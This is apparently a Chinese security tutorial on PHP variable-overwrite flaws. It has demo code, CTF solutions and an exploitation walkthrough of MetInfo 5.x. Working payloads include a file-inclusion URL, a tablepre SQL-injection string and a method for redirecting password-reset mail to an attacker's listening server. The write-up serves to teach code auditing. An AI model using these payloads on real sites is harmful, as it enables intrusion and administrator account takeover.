变量覆盖漏洞

  • Comments Off on 变量覆盖漏洞
  • 13 views
  • A+

变量覆盖漏洞大多由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract()函数和parse_str(),import_request_variables()函数则是用在没有开启全局变量注册的时候,调用这个函数相当于开启了全局变量注册,在PHP 5.4之后这个函数已经被取消。另外部分应用利用\$\$的方式注册变量没验证已有变量导致覆盖也是国内多套程序都犯过的一个问题,这些应用在使用外部传进来的参数时不是用类似于\$_GET['key']这样原来的数组变量,而是把里面的key注册成一个变量\$key,注册过程中由于没有验证该变量是否已经存在就直接赋值,所以导致已有的变量值会被覆盖掉。

变量覆盖漏洞指的是可以用我们自定义的参数值替换程序原有的变量值,变量覆盖漏洞通常需要结合程序的其他功能来实现完整攻击,这个漏洞想象空间非常大,比如原来一个文件上传页面,限制的文件扩展名白名单列表写在配置文件中,但是在上传的过程中有一个变量覆盖漏洞可以将任意扩展名覆盖掉原来的白名单列表,那我们就可以覆盖一个PHP的扩展名,从而上传一个PHP的shell。

1、挖掘经验

由于变量覆盖漏洞通常要结合应用其他功能代码来实现完整攻击,所以挖掘一个可用的变量覆盖漏洞不仅仅要考虑的是能够实现变量覆盖,还要考虑后面的代码能不能让这个漏洞利用起来。要挖可用的变量覆盖漏洞,一定要看漏洞代码行之前存在哪些变量可以覆盖并且后面有被使用到。

由函数导致的变量覆盖比较好挖掘,只要搜寻参数带有变量的extract()、parse_str()函数,然后去回溯变量是否可控,extract()还要考虑它的第二个参数,具体细节我们后面在详细介绍这个函数的时候再讲。import_request_variables()函数则相当于开了全局变量注册,这时候只要找哪些变量没有初始化并且操作之前没有赋值的,然后就大胆地去提交这个变量作为参数。另外只要写在import_request_variables()函数前面的变量,不过是否已经初始化都可以覆盖,不过这个函数在PHP 4\~4.1.0 和 PHP 5~5.4.0 的版本可用。

关于上面我们说到国内很多程序使用双\$\$符号去注册变量会导致变量覆盖,我们可以通过搜"$$"这个关键字去挖据,不过建议挖掘之前还是先把几个核心文件通读一遍,了解程序的大致框架。

1.1函数使用不当

目前变量覆盖漏洞大多都是由于函数使用不正确导致的,这些函数有extract()、parse_str()以及import_request_variables(),而其中最常见的就是extract()这个函数了,使用频率最高,导致的漏洞数量也最多,下面我们分别来看看这几个函数导致的漏洞原理。

1.1.1 extract()函数

extract() 函数将检查和符号表中已存在的变量名是否冲突。对冲突的键名的处理将根据此参数决定。

extract()函数覆盖变量需要一定条件,它的官方说明为"从数组中将变量导入到当前的符号表",通俗讲就是将数组中的键值对注册成变量,函数结构如下:

int extract( array &$var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix = NULL ]])

最多三个参数,我们来看看这三个参数的作用,参见表

| 参数 | 描述 |
| -------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| var_array | 必需。规定要使用的数组。 |
| extract_type | 可选。extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。 对不合法和冲突的键名的处理将根据此参数决定。可以是以下值: EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。 EXTR_SKIP - 如果有冲突,不覆盖已有的变量。 EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。 EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。 EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。 EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。 EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。 EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。这有力地说明了导入的变量仍然引用了var_array参数的值。可以单独使用这个标志或者在extract_type中用OR与其他任何标志结合使用。 |
| prefix | 可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。 该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。如果附加了前缀后的结果不是合法的变量名,将不会导入到符号表中。 |

从以上说明我们可以看到第一个参数是必须的,会不会导致变量覆盖漏洞由第二个参数决定,该函数有三种情况会覆盖掉已有变量,第一种是第二个参数为EXTR_OVERWRITE,它表示如果有冲突,则覆盖已有的变量。第二种情况是只传入第一个参数,这时候默认为EXTR_OVERWRITE模式,而第三种则是第二个参数为EXTR_IF_EXISTS,它表示仅在当前符号表中已有同名变量时,覆盖它们的值,其他的都不注册新变量。

为了更清楚地了解它的用法,我们用代码来说明,测试代码如下:

php
 <?php
 
     $b = 3;
     $a = array('b' => 'hello');
     extract($a);
     print_r($b);

执行结果如所示。

wKg0C2Ee2qAKJKFAABTfVXffac960.png

原本变量\$b的值为3,经过extract()函数对变量\$a处理后,变量\$b的值被成功覆盖为'hello'。

安全的做法是确定register_globals=OFF后,在调用extract()时使用EXTR_SKIP保证已有变量不会被覆盖。

wKg0C2Ee8OAecJwAAATg2VwWkc641.png

测试代码如下:**

php
 <?php
 
  $a = 1;
  extract($_GET, EXTR_SKIP);
  echo $a;

执行结果如图所示。

wKg0C2EeCAJEGTAABXjpFLDoU904.png

但是如果变量未被定义或者未被初始化时依然会存在变量覆盖。

测试代码

php
 <?php
 
  $a;
  extract($_GET, EXTR_SKIP);
  echo $a;

执行结果如图所示。

wKg0C2EfACOASbmVAABbLt3Kow282.png

所以最好的防护方法是不使用危险函数或者不接收任何的用户输入。

CTF题目:file_get_contents

描述:file_get_contents????

php
 <?php
 extract($_GET);
 if (!empty($ac))
 {
 $f = trim(file_get_contents($fn));
 if ($ac === $f)
 {
 echo "<p>This is flag:" ." $flag</p>";
 }
 else
 {
 echo "<p>sorry!</p>";
 }
 }
 ?>

绕过思路:

利用php://input伪协议读取POST传递中的数据流

补充几点:

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目,存在变量覆盖漏洞。

tirm()函数的作用是去除字符串两边的空白

file_get_contents()函数读取文件内容,不知道文件名可以利用php伪协议中的php://input读取原始数据流

payload:

?ac=1&fn=php://input

POST传递

1

wKg0C2EfAESAQAwhAACowg5wESI696.png

1.1.2 parse_str函数

parse_str()函数的作用是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否已经存在,所以会直接覆盖掉已有变量。parse_str()函数有两个参数,函数说明如下:

void parse_str ( string $str [, array &$arr] )

其中\$str是必须的,代表要解析成变量的字符串,形式为"a=1",经过parse_str()函数之后会注册变量\$a并且赋值为1。第二个参数$arr是一个数组,当第二个参数存在时,注册的变量会放到这个数组里面,但是如这个数组原来就存在相同的键(key),则会覆盖掉原有的键值。

补充:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

补充几个点:

GPC会自动把我们提交上去的单引号等敏感字符转义掉,这样我们的攻击代码就没法执行了,GPC是PHP天生自带的功能。GPC是用来过滤request中提交的数据,将特殊字符进行转义来防止攻击,在PHP5之后用\$_SERVER取到的header字段不受GPC影响,所以当GPC开启的时候,它里面的特殊字符如单引号也不会被转义掉,另外一点是普通程序员很少会考虑这些字段被修改。而在header注入里面最常见的是user-agent、referer以及client-ip/x-forward-for,因为大多的Web应用都会记录访问者的IP以及referer等信息。同样的\$_FILES变量也一样不受GPC保护。

代码:

```
 <?php

echo 'GPC'.get_magic_quotes_gpc();
  echo '

client-ip = '.$_SERVER['HTTP_CLIENT_IP'];
  echo '

$_GET[a] = '.$_GET['a'];
```

执行结果

wKg0C2EfAMaAKQf0AAB7SHpaA8101.png

我们来测试一下,测试代码:

<?php
 
  $b = 1;
  parse_str('b=2');
  print_r($b);

测试结果可以看到变量\$b原有的值1被覆盖成了2,如图所示

wKg0C2EfAPaAPypWAABLetw2QKw607.png

实例分析

<?php
 error_reporting(0);
 if(
 empty($_GET['id'])) {                    //empty()检查是否为空
 show_source(__FILE__);            //highlight_file—语法高亮一个文件
 die();                                          //等同于exit—输出一个消息并且退出当前脚本
 } else {
 include (‘flag.php’);
 $a = “www.OPENCTF.com”;
 $id = $_GET['id'];
 @parse_str($id);
 if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
 echo $flag;
 } else {
 exit(‘其实很简单其实并不难!’);
 }
 }
 ?>

题目分析

**$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)**
 **PHP Hash比较存在缺陷**
 **md5(‘QNKCDZO’)**的结果是**0e830400451993494058024219903391**

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

解题思路

md5(s878926199a)=0e545993274517709034328855841020 php解析为0*
* php处理哈希字符串
http://www.cnblogs.com/Primzahl/p/6018158.html
使用get请求?id=a[0]=s878926199a 得到flag

parse_str()类似的函数还有mb_parse_str(),用法基本一致。

1.1.3 import_request_variables()函数

(PHP 4 >= 4.1.0, PHP 5 < 5.4.0)

import_request_variables — 将 GET/POST/Cookie 变量导入到全局作用域中

import_request_variables()函数作用是把GET、POST、COOKIE的参数注册成变量,用在register_globals被禁止的时候,需要在PHP 4.1至 5.4 之间的版本,不过建议是不开启 register_globals 也不要使用 import_request_variables()函数,这样容易导致变量覆盖。该函数说明如下:

bool import_request_variables ( string $types [, string $prefix ])

其中\$type代表要注册的变量,G代表GET,P代表POST、C代表COOKIE,。注意:3个字符的排列顺序是有区别的,当使用“pg”时,POST变量将使用相同的名字覆盖\$_GET变量;反之,当使用“gp”时,\$_GET变量数组将优先于\$_POST。所以当\$type为GPC的时候,则会注册GET、POST、COOKIE参数为变量。第二个参数$prefix为要注册的变量前缀,虽然 prefix 参数是可选的,但如果不指定前缀,或者指定一个空字符串作为前缀,你将获得一个 E_NOTICE 级别的错误。使用默认错误报告级别是不显示注意(Notice)级别的错误的,来看看它是怎么覆盖变量的,测试代码如下:

<?php
 
  $b = 1;
  import_request_variables('GP');
  print_r($b);

从测试结果我们可以看到变量$b的值1被覆盖成了2,如图所示

wKg0C2EfAZCAIw7cAABelcHaLWw727.png

使用import_request_variable()函数实现变量导入的脚本例子如下:

<?php
 if(isset($_REQUEST['btn_submit'])){
  echo "正常取得的表单POST变量值:".$_REQUEST['Username']."<br />";
  import_request_variables("pg", "import_");
  //显示导入的变量名称
  echo "使用import_request_variables函数导入的变量值:".$import_Username;
 }
 ?>
 <form id="test_form" name="test_form" method="POST" action="">
 Please input your name:
 <label>
 <input type="text" name="Username" id="Username" />
 </label>
 <label>
 <input type="submit" name="btn_submit" id="btn_submit" value="submit"/>
 </label>
 <br />
 </form>

执行结果如图所示。

wKg0C2EfAc2AbImjAABom8yI6E8509.png

该表单提示用户输入一个名字,完成并提交后,脚本会把提交的名字显示在浏览器上。

import_request_variables()函数为我们提供一个中间方法,适用于如下几种情况:

  1. 当用户不能使用超级变量数组时;
  2. 在php.ini配置文件的register_globals参数为Off(PHP 5之后的版本默认为Off)时,使用import_request_variables将GET/POST/Cookie这几个超级变量数组导入到全局作用域中。
  3. 在开发时,只要声明了引入的变量范围,就不必写\$_GET或\$_REQUEST一堆很长的超级全局数组名称了。

1.2 \$$ 变量覆盖

一般\$\$变量覆盖是由于使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了\$\$变量覆盖漏洞。

曾经有一段很经典的\$\$注册变量导致变量覆盖的代码,在很多应用上面都出现过这个问题,这段代码如下:

foreach(array('_COOKIE', '_POST', '_GET') as $request) {
  foreach($$_request as $_key => $_value) {
  $$_key = addslashes($_value);
  }
 }

为什么它会导致变量覆盖呢,重点在\$\$符号,从代码中我们可以看出\$_key为COOKIE、POST、GET中的参数,比如提交?a=1,则\$key的值为a,而还有一个\$在a的前面,结合起来则是\$a=addslashes(\$_value);所以这样会覆盖已有的变量\$a的值,我们用代码来解释会更清楚,代码如下:

<?php
 
  $a = 1;
  foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
  foreach($$_request as $_key => $_value) {
  echo $_key.'<br />';
  $$_key = addslashes($_value);
  }
 }
 echo $a;

这段代码的执行结果如图所示。从执行结果可以看出我们成功把变量$a的值覆盖成了"2"。

wKg0C2EfAvGACeDMAACj8IklXk593.png

实例分析:

php
 <?php error_reporting(0);
 show_source(__FILE__); // show_source — 别名 highlight_file() 使用PHP内置的语法高亮器所定义的颜色,打印输出或者返回 filename 文件中语法高亮版本的代码。
 include "flag.php"; //加载flag.php文件,这个文件里面只有一个变量是 $flag="seccuss. flag is woj.app";
 $_403 = "Access Denied";
 $_200 = "Welcome Admin";
 if ($_SERVER["REQUEST_METHOD"] != "POST")
     die("CISPCTF is here :p...");
 if ( !isset($_POST["flag"]) )
     die($_403);
 foreach ($_GET as $key => $value){
    $$key = $$value; //注意这里是在大括号中,不是在函数中,不是临时变量。
    print_r($$key); //重点在这里, 这里就变成了 ${$key}=${$value}
    echo "------"; // 这里也就是说 假设 $key=aaa 拿就是 $aaa = ${$value}
    print_r($$value);
 
 //接上面,如果$value="bbb" 那么就是 $aaa=$bbb 如果bbb是个变量有值呢?
 //如果按上面里面加载的是变量flag 那么如果 $aaa=$flag 那么 $aaa="seccuss. flag is woj.app"; 过关密钥对吧。
 //php中大括号的作用,如下:
 //一、不管什么程序,function name(){}, for(){},.这太多了,不说也知道什么用了。
 //二、$str{4}在字符串的变量的后面跟上{}刚大括号和中括号一样都是把某个字符串变量当成数组处理
 //三、{$val},这时候大括号起的作用就是,告诉PHP,括起来的要当成变量处理。
 }
 
 foreach ($_POST as $key => $value){
    $$key = $value;
 } //因为这个for循环遍历post接受的参数,所以下面的判断始终相等,既然相等就无法进入die($_403)
 
 if ( $_POST["flag"] !== $flag ) // !== 不全等(完全不同) $x !== $y 如果 $x 不等于 $y,或它们类型不相同,则返回 true。
     die($_403);
 echo "This is your flag : ". $flag . "\n"; //所以只能走到这里。因为flag上方有判断,必须赋值,所以他的原本值已经被覆盖。
 die($_200); //只能走到这里,终止程序并显示变量$_200 那只能是让上方的 $key等于flag了。
 ?>

所以,在代码审计时需要注意类似“$$k”的变量赋值方式有可能覆盖已有的变量,从而导致一些不可控制的结果。

1.3 register_globals全局变量覆盖

php.ini中有一项为register_globals,即注册全局变量,当register_globals=On时,传递过来的值会被直接的注册为全局变量直接使用,而register_globals=Off时,我们需要到特定的数组里去得到它。

wKg0C2EfA5AVuvLAAAT3TJ0z0Y754.png

注意:register_globals已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

下面是在PHP 5.2.17环境下的测试

当register_globals=On,变量未被初始化且能够用户所控制时,就会存在变量覆盖漏洞:

<?php
 echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>"; //ini_get — 获取一个配置选项的值
 if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
 
 if ($a) {
   echo "Hacked!";
 }
 ?>

通过GET和POST方式输入变量a的值:

GET方式:

wKg0C2EfA9aALfMIAABzLGYEYCQ149.png

POST方式:

wKg0C2EfACAKNToAACMApoydE8603.png

Cookie:

wKg0C2EfBAOAKVx4AACZyhPwzII582.png

由于是因为配置文件register_globals=On导致的变量覆盖漏洞,所以很多程序员的做法是将register_globals=Off,你以为这样就安全了吗?Nonono!

修改配置文件register_globals=Off

wKg0C2EfBCuAAOMAAATxOLT6ZI924.png

如果我们传进去一个全局变量会发生什么呢?为了便于测试我将代码做了更改

<?php
 echo "Register_globals:".(int)ini_get("register_globals")."<br/>";
 if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
 print_r($_REQUEST); //查看REQUEST中的内容
 echo "<br />";
 print_r($_REQUEST[GLOBALS]);
 echo "<br />";
 print_r($_REQUEST[GLOBALS][a]);
 echo "<br />";
 var_dump($_REQUEST[GLOBALS][a]);
 echo "<br />";
 echo '$a = '.$a;
 echo "<br />";
 echo $_GET[b];

payload

test.php?GLOBALS[a]=1&b=2

执行结果如图所示

wKg0C2EfBFiAbABHAAEhQ3wswxA613.png

在REQUEST中存在二维数组,在数组GLOBALS中变量a的值为1,说明我们将变量a的值覆盖成了1,所以即使在register_globals=Off的情况下仍可以控制变量“\$a”的值。这是因为unset()默认只会销毁局部变量,要销毁全局变量必须使用$GLOBALS,而在register_globals=OFF时,则无法覆盖到全局变量。

总结:register_globals的意思是注册为全局变量,所以当On的时候,传递过来的值会被直接注册为全局变量而直接使用,当为OFF的时候,就需要到特定的数组中去得到它。unset用于释放给定的变量,对于register_globals=OFF情况下的全局变量覆盖的问题,只需要在使用变量之前加上一行代码 unset($_REQUEST);即可。

测试效果:

wKg0C2EfBJCAIb9rAACGXDN4Dlk915.png

漏洞已修复,这时仍能够接收到变量b的值。

漏洞利用:

读取文件

当register_globals=On可在对用户输入过滤不严格的地方进行读取文件

测试代码如下:

<?php
 $content = file_get_contents($a);
 print_r($content);

执行结果如图所示:

wKg0C2EfBNKAFmBSAACEJ8dvcCQ978.png

2、实例分析

实例一、MetInfo5.3变量覆盖漏洞

变量覆盖+文件包含

在index.php文件中又require函数,可能存在文件包含漏洞,同时发现两个php文件

wKg0C2EfBPOAaY1QAABQpeGxi0569.png

在include/common.inc.php文件中发现"$$",可能存在文件包含漏洞变量覆盖漏洞

wKg0C2EfBRSAJdOJAACqYaOSIJw209.png

这一段就是经典的\$\$引发的变量覆盖案例,使用$_request来获取用户请求的信息。截止到目前我们发现了/index.php疑似文件包含漏洞、/include/commen.inc.php疑似变量覆盖漏洞,但是二者还没有办法结合利用,代码判断了 key 的第一个字符是不是“_”来避免覆盖系统全局变量,以及使用自定义函数 daddslashes() 对变量值进行处理,无奈之下使用了seay的自动检测功能,检测结果的第一条为/index.php的疑似文件包含,第二条是about/index.php的疑似文件包含

wKg0C2EfBVyAdtTtAACVTvDxFk595.png

跟读/about/index.php寻找突破点:

wKg0C2EfBXWACNwWAABU7109FLA007.png

这里使用了require_once函数包含了/include/module.php文件,继续跟读,/include/module.php这个文件的开头为:

wKg0C2EfBYAPG8uAACxhGFPsLk585.png

/about/index.php包含了/include/module.php,/include/module.php又包含了/include/common.inc.php,/include/common.inc.php存在变量覆盖漏洞。这样我们就知道切入点是/about/index.php文件了,这个文件的有效代码只有四行,却出现了两个未知变量:\$module,\$fmodule。

修改/about/index.php的代码,确定覆盖的变量

wKg0C2EfBcqAAQdMAAAtgZ4UMFE572.png

wKg0C2EfBeiAPOdRAAApbNZtwb0275.png

变量module的值是show.php

GET传参修改module的值,发现module的值并没有变化,所以变量module不存在覆盖

wKg0C2EfBgyARPglAAAt7NyoROU598.png

修改代码,打印变量fmodule的初始值

wKg0C2EfBi2AY4gjAAA5F1b3WDc609.png

变量fmodule的初始值为1

wKg0C2EfBkOAAKFcAAAt7NyoROU226.png

修改变量fmodule的值

wKg0C2EfBk6AEpXAAAtIcoXNxw415.png

fmodule的值发生了变化,说明变量fmodule存在覆盖漏洞。

我们可以用\$fmodule变量通过两次文件包含,使用\$_request来获取GET传递的新$fmodule值实现变量覆盖。

为了实现上述思路,我们回到/include/module.php找\$module和$fmodule的关系:

$module='';
 if($fmodule!=7){
     if($mdle==100)$mdle=3;
     if($mdle==101)$mdle=5;
     $module = $modulefname[$mdle][$mdtp];
     if($module==NULL){okinfo('../404.html');exit();}
     if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
         if($fmodule==$mdle){
             $module = $modulefname[$mdle][$mdtp];
        }
         else{
             okinfo('../404.html');exit();
        }
    }
     else{
         if($list){
             okinfo('../404.html');exit();
        }
         else{
             $module = $modulefname[$mdle][$mdtp];
        }
    }
     if($mdle==8){
     if(!$id)$id=$class1;
     $module = '../feedback/index.php';
    }

根据上面程序的逻辑,我们可以发现当\$fmodule不为7时,不覆盖;当\$fmodule为7时,变量覆盖。到此已经确定了变量覆盖的存在。我们回到include/module.php文件,到下图这段代码,5.3这个版本其实已经修复了,就靠这个$module=' '的操作,将我们之前传入的值清空了,使得漏洞修复。而5.0版本中,是没有这一操作的。先将这行代码注释,这样就搭建了一个5.0版本的漏洞。

wKg0C2EfC2eABk1CAAA0YwCPVxE298.png

可以结合文件包含漏洞进行利用,在/upload中上传phpinfo.txt,payload:

metinfo/about/?fmodule=7&module=../upload/phpinfo.txt

wKg0C2EfC36ATiVAAAChV9bGEeg662.png

变量覆盖+SQL注入

问题还是出现在include/commen.inc.php中:

if(@file_exists('../app/app/shop/include/product.class.php') && @$cmodule){
     require_once '../app/app/shop/include/product.class.php';
     if($gotonew == 1){
         @define('M_NAME', 'shop');
         @define('M_MODULE', 'web');
         @define('M_CLASS', @$cmodule);
         @define('M_ACTION', 'doindex');
         require_once '../app/system/entrance.php';
         die();
    }
 }
 header("Content-type: text/html;charset=utf-8");
 error_reporting(E_ERROR | E_PARSE);
 @set_time_limit(0);
 $HeaderTime=time();
 define('ROOTPATH', substr(dirname(__FILE__), 0, -7));
 PHP_VERSION >= '5.1' && date_default_timezone_set('Asia/Shanghai');
 session_cache_limiter('private, must-revalidate');
 @ini_set('session.auto_start',0);
 if(PHP_VERSION < '4.1.0') {
     $_GET         = &$HTTP_GET_VARS;
     $_POST        = &$HTTP_POST_VARS;
     $_COOKIE      = &$HTTP_COOKIE_VARS;
     $_SERVER      = &$HTTP_SERVER_VARS;
     $_ENV         = &$HTTP_ENV_VARS;
     $_FILES       = &$HTTP_POST_FILES;
 }
 require_once ROOTPATH.'include/mysql_class.php';
 define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
 isset($_REQUEST['GLOBALS']) && exit('Access Error');
 require_once ROOTPATH.'include/global.func.php';
 foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
     foreach($$_request as $_key => $_value) {
         $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
         $_M['form'][$_key] = daddslashes($_value,0,0,1);
    }
 }
 $met_cookie=array();
 $settings=array();
 $db_settings=array();
 $db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');
 @extract($db_settings);
 $db = new dbmysql();
 $db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);
 $query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";
 $mettable=$db->get_one($query);
 $mettables=explode('|',$mettable[value]);
 foreach($mettables as $key=>$val){
     $tablename='met_'.$val;
     $$tablename=$tablepre.$val;
     $_M['table'][$val] = $tablepre.$val;
 }

32-35行依然是变量覆盖漏洞的核心,在这之前出现的变量都有可能会被覆盖。

在global.func.php中发现daddslashes()函数

/*post和get变量变成普通变量,防注入。*/
 function daddslashes($string, $force = 0,$metinfo,$url = 0) {
 global $met_sqlinsert,$id,$class1,$class2,$class3;
  !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
  if(!MAGIC_QUOTES_GPC || $force) {
  if(is_array($string)) {
  foreach($string as $key => $val) {
  $string[$key] = daddslashes($val, $force);
  }
  } else {
  $string = addslashes($string);
  }
  }
  if(is_array($string)){
  if($url){
  $string='';
  }else{
  foreach($string as $key => $val) {
  $string[$key] = daddslashes($val, $force);
  }
  }
  }else{
  $string_old = $string;
  $string = str_ireplace("\"","/",$string);
  $string = str_ireplace("'","/",$string);
  $string = str_ireplace("*","/",$string);
  $string = str_ireplace("~","/",$string);
  $string = str_ireplace("select", "\sel\ect", $string);
  $string = str_ireplace("insert", "\ins\ert", $string);
  $string = str_ireplace("update", "\up\date", $string);
  $string = str_ireplace("delete", "\de\lete", $string);
  $string = str_ireplace("union", "\un\ion", $string);
  $string = str_ireplace("into", "\in\to", $string);
  $string = str_ireplace("load_file", "\load\_\file", $string);
  $string = str_ireplace("outfile", "\out\file", $string);
  $string = str_ireplace("sleep", "\sle\ep", $string);
  //$string = str_ireplace("(", "\\", $string);
  //$string = str_ireplace(")", "\\", $string);
  $string_html=$string;
  $string = strip_tags($string);
  if($string_html!=$string){
  $string='';
  }
  $string = str_replace("%", "\%", $string);     //
  /*
  if(strlen($string_html)!=strlen($string)){
  $reurl="http://".$_SERVER["HTTP_HOST"];
  echo("<script type='text/javascript'> alert('Submitted information is not legal!'); location.href='$reurl'; </script>");
  die("Parameter Error!");
  }
  */
  if(strlen($string_old)!=strlen($string)&&$met_sqlinsert){
  $reurl="http://".$_SERVER["HTTP_HOST"];
  echo("<script type='text/javascript'> alert('Submitted information is not legal!'); location.href='$reurl'; </script>");
  die("Parameter Error!");
  }
  $string = trim($string);
  }
  if($id!=""){
  if(!is_numeric($id)){
  $id='';
  }}
  if($class1!=""){
  if(!is_numeric($class1)&&$class1!='list'){
  $class1='';
  }}
  if($class2!=""){
  if(!is_numeric($class2)){
  $class2='';
  }}
  if($class3!=""){
  if(!is_numeric($class3)){
  $class3='';
  }}
  return $string;
 }

可以看到,该函数先判断有没有开启magic_quotes_gpc即魔法引号,若没有则调用addslashes()函数对通过POST方法提交的内容进行转义过滤。也就是说,并没有对GET方法提交的内容进行过滤。那里我们确定存在变量覆盖漏洞了,现在我们就需要寻找可以和变量覆盖漏洞配合造成危害的地方了,比如任意文件包含、任意文件读取等等。所以我们现在开始查找包含了这个common.inc.php的文件以及可以造成覆盖变量的利用文件。

在include/commen.inc.php中,第45行出现一个带有$tablepre变量的SQL语句:

$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";

如果能把tablepre覆盖掉那就可以实现SQL注入,例如我们构造一个payload:

/metinfo/include/common.inc.php?tablepre=mysql.user limit 1 #

SQL语句就变成了:

$query="select * from mysql.user limit 1 # config where name='met_tablename' and lang='metinfo'";

从而实现了SQL注入(虽然没有回显)。

变量覆盖+重置管理员密码

MetInfo有管理员密码重置的功能,此功能由于变量覆盖导致可以获取密码重置链接。

wKg0C2EfC82AHJFBAAA6NAUrUuI541.png

这个变量覆盖漏洞出现在admin/admin/getpassword.php

前面的代码的作用是从数据库查询配置信息并从赋值给变量,同时可以看到引入了common.inc.php文件。

wKg0C2EfCGADdDIAACduLje5Hc390.png

从第47行的switch语句开始是密码找回的逻辑控制语句

wKg0C2EfDAiADYvAABhOGv5Q84728.png

这段代码开头的switch语句是找回密码的逻辑控制,其中next1为找回密码的方式,默认值是邮件找回,然后进行next2

wKg0C2EfDCGAEpuTAACFdKLHoFc425.png

在第92行利用jmailsend函数执行了发送邮件的操作,如果执行失败则用143行的curl_post函数发送邮件,

wKg0C2EfDGSAfiXyAABVGyR6ISY953.png

我们跟读一下这个函数,该函数位于/include/export.func.php。

function curl_post($post,$timeout){
 global $met_weburl,$met_host,$met_file;
 $host=$met_host;
 $file=$met_file;
     if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
         $curlHandle=curl_init();
         curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file);
         curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
         curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1);
         curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
         curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
         curl_setopt($curlHandle,CURLOPT_POST, 1);
         curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
         $result=curl_exec($curlHandle);
         curl_close($curlHandle);
    }

其中\$post是未能成功发送的邮件内容,然后根据\$met_host指定的地址将邮件内容发送过去,\$met_host 在程序的值指定为app.metinfo.cn。结合上一段程序理顺一下思路:当站长自身设置的邮件服务器不起作用时先将邮件内容通过http请求发送此服务器,再由此服务器发送密码重置邮件。很明显$met_host可以导致变量覆盖,如果jmailsend函数发送失败,那变量覆盖漏洞就会被激活,可以将密码重置邮件的内容发送到我们指定的服务器。所以接下来我们的任务是让jmailsend函数失效,跟读这个函数,该函数位于/include/jmail.php中:

function jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp,$repto,$repname)
    {
         global $met_fd_port,$met_fd_way;
         $mail             = new PHPMailer();
         //$mail->SMTPDebug = 3;
 
         $mail->CharSet    = "UTF-8"; // charset
         $mail->Encoding   = "base64";
         $mail->Timeout    = 15;
         $mail->IsSMTP(); // telling the class to use SMTP
 
         //system
         if(stripos($smtp,'.gmail.com')===false){
             $mail->Port       = $met_fd_port;
             $mail->Host       = $smtp; // SMTP server
             if($met_fd_way=='ssl'){
                 $mail->SMTPSecure = "ssl";
            }else{
                 $mail->SMTPSecure = "";
            }
        }
 
 
 
 if(!$mail->Send()) {
             $mail->SmtpClose();
           //return "Mailer Error: " . $mail->ErrorInfo;
          return false;
        } else {
             $mail->SmtpClose();
           //return "Message sent!";
           return true;
        }
    }
 }

我们的目的是让这个函数返回值为false,第13行开始可以看出根据$met_fd_port指定的端口发送邮件,这里如果将这个变量覆盖掉将导致邮件发送失败。所以我们的漏洞利用思路已经明确:1.利用变量覆盖修改指定发送邮件的端口;2.利用变量覆盖修改服务器ip。

我们先在服务器上监听80端口

wKg0C2EfDLCAeCxyAAAcZWMFZvs633.png

然后抓包构造payload即可获取邮件。

